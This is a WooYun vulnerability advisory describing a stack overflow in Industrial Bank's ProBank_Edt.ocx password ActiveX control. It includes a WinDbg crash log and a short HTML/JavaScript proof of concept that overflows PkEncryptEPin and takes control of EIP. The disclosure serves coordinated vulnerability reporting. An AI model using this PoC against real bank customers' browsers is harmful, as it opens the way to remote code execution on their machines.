当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-076994

漏洞标题：兴业银行某软件应用可直接远程代码执行挂马

相关厂商：兴业银行

漏洞作者： Beep

提交时间：2014-09-22 20:06

修复时间：2014-12-21 20:08

公开时间：2014-12-21 20:08

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-22： 细节已通知厂商并且等待厂商处理中
2014-09-26： 厂商已经确认，细节仅向厂商公开
2014-09-29： 细节向第三方安全合作伙伴开放
2014-11-20： 细节向核心白帽子及相关领域专家公开
2014-11-30： 细节向普通白帽子公开
2014-12-10： 细节向实习白帽子公开
2014-12-21： 细节向公众公开

简要描述：

某银行某软件应用接口函数对参数没有校验，导致传入超长字符串，就会导致出现溢出，从而造成EIP被控制，造成远程代码执行。

详细说明：

兴业银行的密码控件ProBank_Edt.ocx控件的PkEncryptEPin函数存在堆栈溢出，传入超长字符串
就会导致堆栈溢出，EIP被控制，直接0x41414141
密码控件下载链接https://personalbank.cib.com.cn/pers/main/resources/js/CIB_Plugin.exe
crashinfo：

ModLoad: 03750000 03764000   C:\PROGRA~1\PROBAN~1\PROBAN~1.OCX
ModLoad: 73d30000 73e2e000   C:\WINDOWS\system32\MFC42.DLL
ModLoad: 61be0000 61bed000   C:\WINDOWS\system32\MFC42LOC.DLL
(e10.1ec): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=036cffcc ebp=036cfff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll - 
ntdll!DbgBreakPoint:
7c92120e cc              int     3
Missing image name, possible paged-out or corrupt data.
0:016> g
(e10.f14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00004000 ebx=77c0f931 ecx=00000875 edx=020dd8dc esi=03878e40 edi=020e0000
eip=03755197 esp=020dd8b8 ebp=0387b030 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\PROBAN~1\PROBAN~1.OCX - 
PROBAN_1!DllUnregisterServer+0x3127:
03755197 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:008> g
(e10.f14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=020dd4e8 ebp=020dd508 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
<Unloaded_pi.dll>+0x41414140:
41414141 ??              ???


漏洞证明：

漏洞poc：

<object id='obj' classid='CLSID:{8BE81FD3-B85E-CD48-1179-1B592DDE9815}'></object>
<script>
argv1="A"
argv2="A"
while(argv2.length<16384)
	argv2+=argv2
ret = obj.PkEncryptEPin(argv1,argv2)
</script>


演示过程
安装控件

TM截图20140922193457.png


TM截图20140922193533.png


搭建一个web服务端或者直接本地打开poc.html

TM截图20140922193718.png


浏览器访问poc.html 附图是挂上wingdbg的崩溃信息

TM截图20140922193804.png


可以看到eip直接被控制0x41414141 即为第二个参数"A"的ascii

修复方案：

对输入的参数作严格校验

版权声明：转载请注明来源 Beep@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-09-26 14:49

厂商回复：

最新状态：

暂无